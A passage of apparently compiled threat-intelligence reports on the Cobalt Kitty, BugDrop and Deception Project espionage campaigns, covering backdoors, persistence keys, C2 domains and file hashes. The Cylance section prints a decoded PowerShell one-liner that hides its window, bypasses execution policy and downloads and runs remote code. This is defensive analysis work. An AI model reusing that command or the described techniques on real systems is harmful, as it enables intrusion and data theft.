backdoor to communicate with Google and OpenDNS DNS servers, since most organizations and security products will not filter traffic to those two major DNS services. 8/14 The screenshot below shows the traffic generated by the backdoor and demonstrates DNS Tunneling for C2 communication. As shown, while the destination IP is 8.8.8.8 Google s DNS server the malicious domain is hiding inside the DNS packet: 9/14 Phase three: Novel MS Outlook backdoor and lateral movement spree In the third phase of the operation, the attackers harvested credentials stored on the compromised machines and performed lateral movement and infected new machines. The attackers also introduced a very rare and stealthy technique to communicate with their servers and exfiltrate data using Microsoft Outlook. Outlook macro backdoor In a relentless attempt to remain undetected, the attackers devised a very stealthy C2 channel that is hard to detect 10/14 since it leverages an email-based C2 channel. The attackers installed a backdoor macro in Microsoft Outlook that enabled them to execute commands, deploy their tools and steal valuable data from the compromised machines. For a detailed analysis of the Outlook backdoor, please see the Attacker s Arsenal section. This technique works as follows: 1. The malicious macro scans the victim s Outlook inbox and looks for the strings $$cpte and $$ecpte 2. Then the macro will open a CMD shell that will execute whatever instruction / command is in between the strings. 3. The macro deletes the message from inbox to ensure minimal risk of exposure. 4. The macro searches for the special strings in the Deleted Items folder to find the attacker s email address and sends the data back to the attackers via email. 5. Lastly, the macro will delete any evidence of the emails received or sent by the attackers. Credential dumping and lateral movement The attackers used the famous Mimikatz credential dumping tool as their main tool to obtain credentials including user passwords, NTLM hashes and Kerberos tickets. Mimikatz is a very popular tool and is detected by most antivirus vendors and other security products. Therefore, the attackers used over 10 different customized Mimikatz payloads, which were obfuscated and packed in a way that allowed them to evade antivirus detection. The following are examples of Mimikatz command line arguments detected during the attack: 11/14 The stolen credentials were used to infect more machines, leveraging Windows built-in tools as well as pass-theticket and pass-the-hash attacks. Phase four: New arsenal and attempt to restore PowerShell infrastructure After a four week lull and no apparent malicious activity, the attackers returned to the scene and introduced new and improved tools aimed at bypassing the security mitigations that were implemented by the company s IT team. These tools and methods mainly allowed them to bypass the PowerShell execution restrictions and password dumping mitigations. During that phase, Cybereason found a compromised server that was used as the main attacking machine, where the attackers stored their arsenal in a network share, which made it easier to spread their tools to other machines on the network. The attackers arsenal consisted: New variants of Denis and Goopy backdoors PowerShell Restriction Bypass Tool Adapted from PSUnlock Github project. PowerShell Cobalt Strike Beacon New payload + new C2 domain 12/14 PowerShell Obfuscator All the new PowerShell payloads are obfuscated using a publicly available script adapted from a Daniel Bohannon s GitHub project. HookPasswordChange Inspired by tools found on GitHub, this tool alerts the attackers if a password has been changed. Using this tool, the attackers could overcome a password reset. The attackers modified their tool. Customized Windows Credentials Dumper A PowerShell password dumper that is based on a known password dumping tool, using PowerShell bypass and reflective loading. The attackers specifically used it to obtain Outlook passwords. Customized Outlook Credentials Dumper Inspired by known Outlook credentials dumpers. Mimikatz PowerShell and Binary versions, with multiple layers of obfuscation. Please see the Attacker s Arsenal section for detailed analysis of the tools. An analysis of this arsenal shows that the attackers went out of their way to restore the PowerShell-based infrastructure, even though it had already been detected and shut down once. The attackers preference to use a fileless infrastructure specifically in conjunction with Cobalt Strike is very evident. This could suggest that the attackers preferred to use known tools that are more expendable rather than using their own custom-built tools, which were used as a last resort. Conclusion Operation Cobalt Kitty was a major cyber espionage APT that targeted a global corporation in Asia and was carried out by the OceanLotus Group. The analysis of this APT proves how determined and motivated the attackers were. They continuously changed techniques and upgraded their arsenal to remain under the radar. In fact, they never gave up, even when the attack was exposed and shut down by the defenders. During the investigation of Operation Cobalt Kitty, Cybereason uncovered and analyzed new tools in the OceanLotus Group s attack arsenal, such as: New backdoor ( Goopy ) using HTTP and DNS Tunneling for C2 communication. Undocumented backdoor that used Outlook for C2 communication and data exfiltration. Backdoors exploiting DLL sideloading attacks in legitimate applications from Microsoft, Google and Kaspersky. Three customized credential dumping tools, which are inspired by known tools. In addition, Cybereason uncovered new variants of the Denis backdoor and managed to attribute the backdoor to the OceanLotus Group a connection that had not been publicly reported before. This report provides a rare deep dive into a sophisticated APT that was carried out by one of the most fascinating groups operating in Asia. The ability to closely monitor and detect the stages of an entire APT lifecycle from initial infiltration to data exfiltration is far from trivial. The fact that most of the attackers tools were not detected by the antivirus software and other security products deployed in the company s environment before Cybereason, is not surprising. The attackers obviously invested significant time and effort in keeping the operation undetected, striving to evade antivirus detection. As the investigation progressed, some of the IOCs observed in Operation Cobalt Kitty started to emerge in the wild, and recently some were even reported being used in other campaigns. It is important to remember, however, that IOCs have a tendency to change over time. Therefore, understanding a threat actor s behavioral patterns is 13/14 essential in combatting modern and sophisticated APTs. The modus operandi and tools served as behavioral fingerprints also played an important role in tying Operation Cobalt Kitty to the OceanLotus Group. Lastly, our research provides an important testimony to the capabilities and working methods of the OceanLotus Group. Operation Cobalt Kitty is unique in many ways, nonetheless, it is still just one link in the group s evergrowing chain of APT campaigns. Orchestrating multiple APT campaigns in parallel and attacking a broad spectrum of targets takes an incredible amount of resources, time, manpower and motivation. This combination is likely to be more common among nation-state actors. While the are many rumours and speculations circulating in the InfoSec community, at the time of writing, there was no publicly available evidence that can confirm that the OceanLotus Group is a nation-state threat actor. Until such evidence is made public, we will leave it to our readers to judge for themselves. To be continued Meow. advanced persistent threat, APT, Cobalt Strike, Cybereason, Cybereason Labs, DLL hijacking, DNS Tunneling, fileless malware, OceanLotus Group, Operation Cobalt Kitty, Powershell Check out more research from Cybereason Labs See all lab blog posts 14/14 Operation BugDrop: CyberX Discovers Large-Scale CyberReconnaissance Operation Targeting Ukrainian Organizations cyberx-labs.com/en/blog/operation-bugdrop-cyberx-discovers-large-scale-cyber-reconnaissance-operation/ By Phil Neray 2/15/2017 CyberX has discovered a new, large-scale cyber-reconnaissance operation targeting a broad range of targets in the Ukraine. Because it eavesdrops on sensitive conversations by remotely controlling PC microphones in order to surreptitiously its targets and uses Dropbox to store exfiltrated data, CyberX has named it Operation BugDrop. Operation BugDrop: Targets CyberX has confirmed at least 70 victims successfully targeted by the operation in a range of sectors including critical infrastructure, media, and scientific research. The operation seeks to capture a range of sensitive information from its targets including audio recordings of conversations, screen shots, documents and passwords. Unlike video recordings, which are often blocked by users simply placing tape over the camera lens, it is virtually impossible to block your computer s microphone without physically accessing and disabling the PC hardware. Most of the targets are located in the Ukraine, but there are also targets in Russia and a smaller number of targets in Saudi Arabia and Austria. Many targets are located in the self-declared separatist states of Donetsk and Luhansk, which have been classified as terrorist organizations by the Ukrainian government. Examples of Operation BugDrop targets identified by CyberX so far include: A company that designs remote monitoring systems for oil & gas pipeline infrastructures. An international organization that monitors human rights, counter-terrorism and cyberattacks on critical infrastructure in the Ukraine. An engineering company that designs electrical substations, gas distribution pipelines, and water supply plants. A scientific research institute. Editors of Ukrainian newspapers. Operation BugDrop is a well-organized operation that employs sophisticated malware and appears to be backed by an organization with substantial resources. In particular, the operation requires a massive back-end infrastructure to store, decrypt and analyze several GB per day of unstructured data that is being captured from its targets. A large team of human analysts is also required to manually sort through captured data and process it manually and/or with Big Data-like analytics. Initially, CyberX saw similarities between Operation BugDrop and a previous cyber-surveillance operation discovered by ESET in May 2016 called Operation Groundbait. However, despite some similarities in the Tactics, Techniques, and Procedures (TTPs) used by the hackers in both operations, Operation BugDrop s TTPs are 1/11 significantly more sophisticated than those used in the earlier operation. For example, it uses: Dropbox for data exfiltration, a clever approach because Dropbox traffic is typically not blocked or monitored by corporate firewalls. Reflective DLL Injection, an advanced technique for injecting malware that was also used by BlackEnergy in the Ukrainian grid attacks and by Duqu in the Stuxnet attacks on Iranian nuclear facilities. Reflective DLL Injection loads malicious code without calling the normal Windows API calls, thereby bypassing security verification of the code before its gets loaded into memory. Encrypted DLLs, thereby avoiding detection by common anti-virus and sandboxing systems because they unable to analyze encrypted files. Legitimate free web hosting sites for its command-and-control infrastructure. C&C servers are a potential pitfall for attackers as investigators can often identify attackers using registration details for the C&C server obtained via freely-available tools such as whois and PassiveTotal. Free web hosting sites, on the other hand, require little or no registration information. Operation BugDrop uses a free web hosting site to store the core malware module that gets downloaded to infected victims. In comparison, the Groundbait attackers registered and paid for their own malicious domains and IP addressees. Operation BugDrop infects its victims using targeted email phishing attacks and malicious macros embedded in Microsoft Office attachments. It also uses clever social engineering to trick users into enabling macros if they aren already enabled. How CyberX Investigated Operation BugDrop CyberX s Threat Intelligence Research team initially discovered Operation BugDrop malware in the wild. The team then reverse-engineered the code to analyze its various components (decoy documents used in phishing attacks, droppers, main module, microphone module, etc.) and how the malware communicates with its C&C servers. The team also needed to reverse-engineer exactly how the malware generates its encryption keys. Distribution of Targets by Geography 2/11 Compilation Dates The modules were compiled about a month after ESET announced the existence of Operation Groundbait. If the two operations are indeed related, this might indicate the group decided it needed to change its TTPs to avoid detection. Technical Details 3/11 High-level view of malware architecture 1. Infection Method Users are targeted via specially crafted phishing emails and prompted to open a Microsoft Word decoy document containing malicious macros. If macros are disabled, users are presented with a dialog box (below) prompting them to enable macros. The dialog box is well designed and appears to be an authentic Microsoft Office message. 4/11 Russian text in dialog box: Office. This is translated as: Attention! The file was created in a newer version of Microsoft Office programs. You must enable macros to correctly display the contents of a document. Based on the document metadata, the language in which the list is written is Ukrainian, but the original language of the document is Russian. The creator of the decoy document creator is named Siada. Last modified date is 2016-12-22 10:37:00 5/11 The document itself (below) shows a list of military personnel with personal details such as birthdate and address: Decoy document with personal information about military personnel 2. Main Downloader The main downloader is extracted from the decoy document via a malicious VB script that runs it from the temp folder. The downloader has low detection rates (detected by only 4 out of 54 AV products). 3. Dropper Stage 0 The icon for the downloader EXE was copied from a Russian social media site (http://sevastopol.su/world.php?id=90195). The icon itself is a meme that jokes about Ukrainians (http://s017.radikal.ru/i424/1609/83/0c3a23de7967.jpg). Dropper icon 6/11 Russian social media site from where icon for dropper EXE was obtained The dropper has 2 DLLs stored in its resources; they are XOR ed in such way that the current byte is XOR with the previous byte. This technique is much better than just plain XOR because it results in a byte distribution that doesn t look like a normal Portable Executable (PE) file loader. This helps obfuscate the file so that it will not be detected by anti-virus systems. The DLLs are extracted into the app data folder: %USERPROFILE%\AppData\Roaming\Microsoft\VSA\.nlp Stage 1 %USERPROFILE%\AppData\Roaming\Microsoft\Protect\.nlp.hist Stage 2 The first stage is executed and the DLL is loaded using Reflective DLL Injection. 4. Dropper Stage 1 Achieving Persistency Internal name: loadCryptRunner.dll Compiled: Mon Dec 12 10:09:15 2016 7/11 Responsible for persistency and executing the downloader DLL, the Stage 1 Dropper registers itself in the registry under the key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\drvpath RUNDLL32 %USERPROFILE%\AppData\Roaming\Microsoft\VSA\klnihw22.nlp , RUNNER The communication DLL is also loaded using Reflective DLL Injection. 5. Dropper Stage 2 Downloader for Main Module Internal name: esmina.dll Compiled: Mon Oct 10 14:47:28 2016 The main purpose of this DLL is to download the main module The main module is hosted on a free web hosting site with the following URL: windows-problem-reporting.site88.net [Note: Do not visit this malicious site.] We were unable to find any information about this URL in public data sources. Attempting to directly access the URL leads to an HTTP/1.1 404 Not Found message. It appear as if downloading the module requires manual approval, indicating the need for a human analyst or handler in the loop. The main module is then downloaded and loaded into memory using Reflective DLL Injection. 6. Main Module The main module downloads the various data-stealing plugins assigned to each victim, and executes them. It also collects locally-stored stolen data and uploads it to Dropbox. The main module incorporates a number of anti-Reverse Engineering (RE) techniques: Checks if a debugger is present. Checks if process is running in a virtualized environment. Checks if ProcessExplorer is running. ProcessExplorer is used to identify malware hiding inside a legitimate process as a DLL, which occurs as a result of DLL injection. Checks to see if WireShark is running. WireShark can be used to identify malicious traffic originating on your computer. It registers itself in the registry under the key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\hlpAsist RUNDLL32 %USERPROFILE%\AppData\Roaming\Microsoft\MSDN\iodonk18.dll , IDLE 7. Dropbox Mechanisms 8/11 There are 3 directories on the server: obx Contains modules used by the main module ibx Contains exfiltrated output uploaded by the plugins rbx- Contains basic information about the connected client After the stored data is retrieved by the attackers, it is deleted from the Dropbox account. The Dropbox user that registered the account has the following details: Name: P***** Email: P********@mail.ru 8. Encryption Mechanisms The data-stealing plugins store all their output in: %USERPROFILE%\AppData\Roaming\Media Before being sent to Dropbox by the main module, the files are encrypted with Blowfish. The Blowfish encryption key is the client ID. 9. Data-Stealing Plugins File Collector: Searches for variety of file types that are stored locally or on shared drives (including doc, docx, xls, xlsx, ppt, pptx, pdf, zip, rar, db, txt) . Files are uploaded on-demand. USB File Collector: Searches for variety of file types on USB drives (including doc, docx, xls, xlsx, ppt, pptx, pdf, zip, rar, db, txt). Browser Data Collector: Used to steal passwords and other sensitive information stored in browsers. Microphone: Captures audio conversations. Computer Info Collector: Collects data about the client such as Windows OS version, computer name, user name, IP address, MAC address, antivirus software, etc. Not all of the plugins are downloaded to every target. Each module has a unique extension which is the client ID. This is how the main module knows which modules should be downloaded to a particular target. Conclusions 1) Operation BugDrop was a cyber-reconnaissance mission; its goal was to gather intelligence about targets in various domains including critical infrastructure, media, and scientific research. We have no evidence that any damage or harm has occurred from this operation, however identifying, locating and performing reconnaissance on targets is usually the first phase of operations with broader objectives. 2) Skilled hackers with substantial financial resources carried out Operation BugDrop. Given the amount of data analysis that needed to be done on daily basis, we believe BugDrop was heavily staffed. Given the sophistication of the code and how well the operation was executed, we have concluded that those carrying it out have previous field experience. While we are comfortable assigning nation-state level capabilities to this operation, we have no forensic evidence that links BugDrop to a specific nation-state or group. Attribution is notoriously difficult, with the added difficulty that skilled hackers can easily fake clues or evidence to throw people off their tail. 3) Private and public sector organizations need to continuously monitor their IT and OT networks for anomalous activities indicating they ve been compromised. Fortunately, new algorithmic technologies like behavioral analytics are now available to rapidly identify unusual or unauthorized activities with minimal false positives, especially when 9/11 combined with actionable threat intelligence. Organizations also need deep forensics to identify the scope and impact of a breach, as well as an enterprise-wide incident response plan that can be carried out quickly and at scale. Appendix Hashes (SHA-256) Decoy Document: 997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a Dropper: f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd Plugins Screenshot Collector: 7d97008b00756905195e9fc008bee7c1b398a940e00b0bd4c56920c875f28bfe dc21527bd925a7dc95b84167c162747069feb2f4e2c1645661a27e63dff8c326 7e4b2edf01e577599d3a2022866512d7dd9d2da7846b8d3eb8cea7507fb6c92a Keylogger: fc391f843b265e60de2f44f108b34e64c358f8362507a8c6e2e4c8c689fcdf67 943daa88fe4b5930cc627f14bf422def6bab6d738a4cafd3196f71f1b7c72539 bbe8394eb3b752741df0b30e1d1487eeda7e94e0223055771311939d27d52f78 6c479da2e2cc296c18f21ddecc787562f600088bd37cc2154c467b0af2621937 01aab8341e1ef1a8305cf458db714a0392016432c192332e1cd9f7479507027f File Collector 06dcf3dc4eab45c7bd5794aafe4d3f72bb75bcfb36bdbf2ba010a5d108b096dc daf7d349b1b12d9cf2014384a70d5826ca3be6d05df13f7cb1af5b5f5db68d54 24f56ba4d779b913fefed80127e9243303307728ebec85bdb5a61adc50df9eb6 a65e79bdf971631d2097b18e43af9c25f007ae9c5baaa9bda1c470af20e1347c USB File Collector: a47e6fab82ac654332f4e56efcc514cb2b45c5a126b9ffcd2c84a842fb0283a2 07c25eebdbd16f176d0907e656224d6a4091eb000419823f989b387b407bfd29 3c0f18157f30414bcfed7a138066bc25ef44a24c5f1e56abb0e2ab5617a91000 Browser Data Collector: fb836d9897f3e8b1a59ebc00f59486f4c7aec526a9e83b171fd3e8657aadd1a1 966804ac9bc376bede3e1432e5800dd2188decd22c358e6f913fbaaaa5a6114d 296c738805040b5b02eae3cc2b114c27b4fb73fa58bc877b12927492c038e27c 61244d5f47bb442a32c99c9370b53ff9fc2ecb200494c144e8b55069bc2fa166 cae95953c7c4c8219325074addc9432dee640023d18fa08341bf209a42352d7d a0400125d98f63feecac6cb4c47ed2e0027bd89c111981ea702f767a6ce2ef75 Microphone: 1f5e663882fa6c96eb6aa952b6fa45542c2151d6a9191c1d5d1deb9e814e5a50 912d54589b28ee822c0442b664b2a9f05055ea445c0ec28f3352b227dc6aa2db 691afe0547bd0ab6c955a8ec93febecc298e78342f78b3dd1c8242948c051de6 Computer Info Collector: c9bf4443135c080fb81ab79910c9cfb2d36d1027c7bf3e29ee2b194168a463a7 10/11 5383e18c66271b210f93bee8cc145b823786637b2b8660bb32475dbe600be46e d96e5a74da7f9b204f3dfad6d33d2ab29f860f77f5348487f4ef5276f4262311 11/11 The Deception Project: A New Japanese-Centric Threat cylance.com /en_us/blog/the-deception-project-a-new-japanese-centric-threat.html In an effort to expose a common problem we see happening in the industry, Cylance would like to shed some light on just how easy it is to fake attribution. The key factor we should focus on, as an industry, is determining HOW an attacker can take down an organization, rather than focusing only on the WHO. Once we can identify how the attack happened, we can focus on what s really important prevention. Background While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group s backdoors. Cylance tracks this threat group internally as Snake Wine We found the infrastructure to be significantly larger than documented at the link above. Cylance believes some of the steps taken by the attacker could possibly be an attempt at a larger disinformation campaign based upon some of the older infrastructure that would link it to a well-known CN-APT group. Nearly all of the initial data in this case was gathered from delving further into the domains hosted by It Itch. South Korea s National Intelligence Service (NIS) previously leveraged It Itch s services, as documented by Citizen Lab in this post. A number of the samples were signed using the leaked code-signing certificate from the Hacking Team breach. Propagation and Targeting To date, all observed attacks were the result of spear phishing attempts against the victim organizations. The latest batch used well-crafted LNK files contained within similarly named password-protected ZIP files. The LNK files, when opened, would execute a PowerShell command via cmd.exe /c to download and execute an additional payload. The attackers appeared to prefer the Google URL shortening service goog.gl, however, this could easily change as the attacks evolve. powershell.exe -nop w hidden -exec bypass -enc JAAyAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGUAeABlAGMAIABiAHkAcABhAHMAcwAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAB Figure 1: Encoded PowerShell Cmdlet Contained Within the LNK File $2='-nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString(''https://goo(dot)gl/cpT1NW'')"';if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "& powershell $2";} Figure 2: Decoded PowerShell Snippet The shortened URL connected to 'hxxxp://koala (dot) acsocietyy (dot) com/acc/image/20170112001 (dot) jpg.' This file was in fact another piece of PowerShell code modified from PowerSploit'. That file opens a decoy document and executes an approximately 60kb chunk of position independent shellcode. The shellcode upon further decoding and analysis is nearly identical to what Cylance calls The Ham Backdoor below. This particular variant of the backdoor references itself internally as version 1.6.4 and beaconed to gavin (dot) ccfchrist (dot) com. The move to a shellcode-based backdoor was presumably done to decrease overall AV detection and enable deployment via a wider array of methods. A public report released here documented a similar case in which several universities were targeted by an email purporting to be from The Japanese Society for the Promotion of Science jsps (dot) go (dot) jp regarding the need to renew grant funding. The website koala (dot) asocietyy (dot) com was also used to host the following PowerShell payloads: ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86 20170112003.jpg 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f 20170112002.jpg 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48 20170112007.jpg 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03 20170112005.jpg 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856 20170112.jpg 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b671029720170112001.jpg 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d20170112006.jpg f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b 20170112008.jpg 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543 20170112004.jpg The payloads contained within each PowerShell script beaconed to the same domain name, with the exception of 20170112008.jpg , which beaconed to hamiltion (dot) catholicmmb (dot) com. Earlier attempts used EXE s disguised with Microsoft Word document icons and DOCX files within a similarly named ZIP file as documented by JPCERT. Cylance has observed the following ZIP files which contained a similarly named executable: ).zip 2016 1025.zip .zip .zip .zip .zip .zip Malware The Ham Backdoor The Ham Backdoor functions primarily as a modular platform, which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control (C2) server. The backdoor was programmed in C++ and compiled using Visual Studio 2015. The modules that Cylance has observed so far provided the ability to: Upload specific files to the C2 Download a file to the infected machine Load and execute a DLL payload List running processes and services Execute a shell command Add an additional layer of AES encryption to the network protocol Search for a keyword in files Legacy AV appears to have fairly good coverage for most of the samples; however, minor changes in newer samples have considerably lower detection rates. JPCERT calls this backdoor ChChes for cross-reference. The malware employs a number of techniques for obfuscation, such as stack construction of variables and data, various XOR encodings and data reordering schemes, and some anti-analysis techniques. Perhaps the most interesting of these, and the one we ve chosen to key on from a detection perspective, is the following bit of assembly which was the final component in decoding a large encoded block of code: lea edx, [esi+edi] mov edi, [ebp+var_4] mov cl, [ecx+edx] xor cl, [eax+edi] inc eax mov edi, [ebp+arg_8] mov [edx], cl mov ecx, [ebp+arg_0] cmp eax, ebx This snippet in the analyzed samples used a fixed size XOR key usually 0x66 bytes long but would sequentially XOR every byte by each value of the key. This effectively results in a single byte XOR by the end of the operation. This operation made little sense in comparison to the other more complicated reordering and longer XOR encodings used prior to this mechanism. Cylance only found two variants to this code-block, however, that could be easily modified by the attacker in the future. The code also makes extensive use of the multi-byte NOP operation prefixed by 0x0F1F. These operations present somewhat of a problem for older disassemblers such as the original Ollydbg, but are trivially patched. The network protocol of the backdoor is well described by JPCERT, but Cylance has taken the liberty to clean up their original python snippet, which was provided for decoding the cookie values: import hashlib from Crypto.Cipher import ARC4 def network_decode(cookie_data): data_list = cookie_data.split (';') dec = [] for i in range(len(data_list)): tmp = data_list[i] pos = tmp.find("=") key = tmp[0:pos] val = tmp[pos:] md5 = hashlib.md5() md5.update(key) rc4key = md5.hexdigest()[8:24] rc4 = ARC4.new(rc4key) dec.append(rc4.decrypt(val.decode("base64"))[len(key):]) print ("[*] decoded:" + "" .join (dec)) Figure 3: Cleaned Script Originally by JPCERT As noted in the JPCERT report, Cylance also found that in most cases of successful infection, one of the earliest modules downloaded onto the system added an additional layer of AES communication to the traffic. The backdoor would also issue anomalous HTTP requests with the method in the event that the C2 server did not respond appropriately to the initial request. An example request is shown below: ST /2C/H.htm HTTP/1.1 Cookie: uQ=[REDACTED];omWwFSA=hw4biTXvqd%2FhK2TIyoLYj1%2FShw6MhEGHlWurHsUyekeuunmop4kZ;Tgnfm5E=RPBaxi%2Bf4B2r6CTd9jh5u3AHOwuyVaJeuw%3D%3D Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Host: kawasaki.unhamj(dot)com Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Figure 4: Example Request Using the Method The majority of the Ham Backdoors found to date have all been signed using the stolen and leaked Hacking Team code-signing certificate. HT Srl Certificate Details: Status: Revoked Issuer: VeriSign Class 3 Code Signing 2010 CA Valid: 1:00 AM 8/5/2011 to 12:59 AM 8/5/2012 Thumbprint: B366DBE8B3E81915CA5C5170C65DCAD8348B11F0 Serial Number: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 Why the attackers chose to use this expired certificate to sign their malware samples is unknown. The malware itself bears little resemblance to previous hacking team implants and was likely done purely as an attempt to throw off attribution. The only observed persistence method to date is the use of the standard Windows Run key SOFTWARE\Microsoft\Windows\CurrentVersion\Run under either a user s hive or HKLM. Cylance found that the following three full file paths were commonly used by this particular backdoor: %AppData%\Reader.exe %AppData%\Notron.exe %AppData%\SCSI_Initiarot.exe Cylance also identified an earlier sample, which took advantage of a self-extracting RAR and a side loading vulnerability in the legitimate Microsoft Resource Compiler, RC.exe. RC.exe will load the DLL RCDLL.dll via its import table. This modified DLL was responsible for XOR decoding and mapping the shellcode version of the Ham Backdoor. This particular sample was stored in a file called RC.cfg , which was encoded using a single byte XOR against the key of 0x54. It appears that this version was only used in early campaigns, as the latest referenced backdoor version Cylance identified was v1.2.2. Tofu Backdoor Based upon Cylance s observations, the Tofu Backdoor was deployed in far fewer instances than the Ham Backdoor. It is a proxy-aware, fully-featured backdoor programmed in C++ and compiled using Visual Studio 2015. The Tofu backdoor makes extensive use of threading to perform individual tasks within the code. It communicates with its C2 server through HTTP over nonstandard TCP ports, and will send encoded information containing basic system information back, including hostname, username, and operating system within the content of the POST. POST /586E32A1FFFFFFFF.aspx HTTP/1.1 Accept: */* Cookies: Sym1.0: 0 ,Sym2.0: 0 ,Sym3.0: 61456 ,Sym4.0: 1 Host: area.wthelpdesk.com:443 Content-Length: 39 Connection: Keep-Alive Cache-Control: no-cache Figure 5: Example POST Request From the Tofu Backdoor Although communication took place on TCP port 443, none of the traffic was encrypted and the custom cookies Sym1.0 Sym4.0 can be used to easily identify the backdoor in network traffic. The backdoor has the ability to enumerate processor, memory, drive, and volume information, execute commands directly from the attacker, enumerate and remove files and folders, and upload and download files. Commands were sent by the C2 and processed by the backdoor in the form of encoded DWORDs, each correspondeding to a particular action listed above. Tofu may also create two different bi-directional named pipes on the system \\.\pipe\1[12345678] and \\.\pipe\2[12345678] which could be accessed via other compromised machines on the internal network. During an active investigation, the file was found at %AppData%\iSCSI_Initiarot.exe . This path was confirmed as a static location in the code that the backdoor would use to copy itself. A static Run key was also used by the backdoor to establish persistence on the victim machine (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft iSCSI Initiator). All of the samples Cylance identified were compiled in November 2016, so these backdoors may have simply been tests as later samples moved back to the shellcode-based Ham Backdoors. The backdoors were also similarly signed using the same stolen code-signing certificate from HT Srl. C2 Infrastructure Cylance found that at least half of the infrastructure associated with The Deception Project appeared to be dark or at least unused. This suggests that the Snake Wine group will likely continue to escalate their activity and persistently target both private and government entities within Japan. Cylance also found an extensive network of Dynamic DNS (DDNS) domains registered via multiple free providers was likely being used by the same group. However, Cylance was unable to identify any current samples which communicated with this infrastructure, and have subsequently separated this activity from the rest of the attacker s infrastructure. Many of the DDNS domains were concocted to mimic legitimate windows update domains such as download.windowsupdate(dot)com ipv4.windowsupdate(dot)com , and v4.windowsupdate(dot)com Domain Registration Information: 8/19/16 8/19/16 8/19/16 9/6/16 9/6/16 9/12/16 9/12/16 9/12/16 11/3/16 11/3/16 11/3/16 11/4/16 11/4/16 12/6/16 12/6/16 12/7/16 12/7/16 12/7/16 12/7/16 12/7/16 12/8/16 12/8/16 12/8/16 12/8/16 12/8/16 12/11/16 12/12/16 12/12/16 12/12/16 12/13/16 12/13/16 12/13/16 12/20/16 12/21/16 12/26/16 12/27/16 12/27/16 12/27/16 2/9/17 2/14/2017 wchildress(dot)com poulsenv(dot)com toshste(dot)com shenajou(dot)com ixrayeye(dot)com wthelpdesk(dot)com bdoncloud(dot)com belowto(dot)com incloud-go(dot)com unhamj(dot)com cloud-maste(dot)com cloud-kingl(dot)com incloud-obert(dot)com fftpoor(dot)com ccfchrist(dot)com catholicmmb(dot)com usffunicef(dot)com cwiinatonal(dot)com tffghelth(dot)com acsocietyy(dot)com tokyo-gojp(dot)com salvaiona(dot)com osaka-jpgo(dot)com tyoto-go-jp(dot)com fastmail2(dot)com wcwname(dot)com dedgesuite(dot)net wdsupdates(dot)com nsatcdns(dot)com vscue(dot)com sindeali(dot)com vmmini(dot)com u-tokyo-ac-jp(dot)com meiji-ac-jp(dot)com jica-go-jp(dot)bike mofa-go-jp(dot)com jimin-jp(dot)biz jica-go-jp(dot)biz jpcert(dot)org ijica(dot)in abellonav.poulsen(at)yandex.com abellonav.poulsen(at)yandex.com toshsteffensen2(at)yandex.com ShenaJouellette(at)india.com BettyWBatts(at)india.com ArmandOValcala(at)india.com GloriaRPaige(at)india.com RobertoRivera(at)india.com RufinaRWebb(at)india.com JuanitaRDunham(at)india.com MeganFDelgado(at)india.com ElisabethBGreen(at)india.com RobertJButler(at)india.com SteveCBrown(at)india.com WenonaTMcMurray(at)india.com EmilyGLessard(at)india.com MarisaKParr(at)india.com RobertMKnight(at)india.com NathanABecker(at)india.com PearlJBrown(at)india.com VeraTPerkins(at)india.com DeborahAStutler(at)india.com JudithAMartel(at)india.com AletaFNowak(at)india.com ClementBCarico(at)india.com CynthiaRNickerson(at)india.com KatherineKTaggart(at)india.com GordonESlavin(at)india.com SarahNBosch(at)india.com ChrisTDawkins(at)india.com DonnaJMcCray(at)india.com RaymondRKimbrell(at)india.com LynnJOwens(at)india.com PearlJPoole(at)india.com AliceCLopez(at)india.com AngelaJBirkholz(at)india.com EsmeraldaTYates(at)india.com RonaldSFreeman(at)india.com GinaKPiller(at)india.com DarrenMCrow(at)india.com 2/17/2017 2/17/2017 2/17/2017 chibashiri(dot)com essashi(dot)com urearapetsu(dot)com WitaTBiles(at)india.com CarlosBPierson(at)india.com IvoryDStallcup(at)india.com Full Domain List: area.wthelpdesk(dot)com cdn.incloud-go(dot)com center.shenajou(dot)com commissioner.shenajou(dot)com development.shenajou(dot)com dick.ccfchrist(dot)com document.shenajou(dot)com download.windowsupdate.dedgesuite(dot)net edgar.ccfchrist(dot)com ewe.toshste(dot)com fabian.ccfchrist(dot)com flea.poulsenv(dot)com foal.wchildress(dot)com fukuoka.cloud-maste(dot)com gavin.ccfchrist(dot)com glicense.shenajou(dot)com hamiltion.catholicmmb(dot)com hukuoka.cloud-maste(dot)com 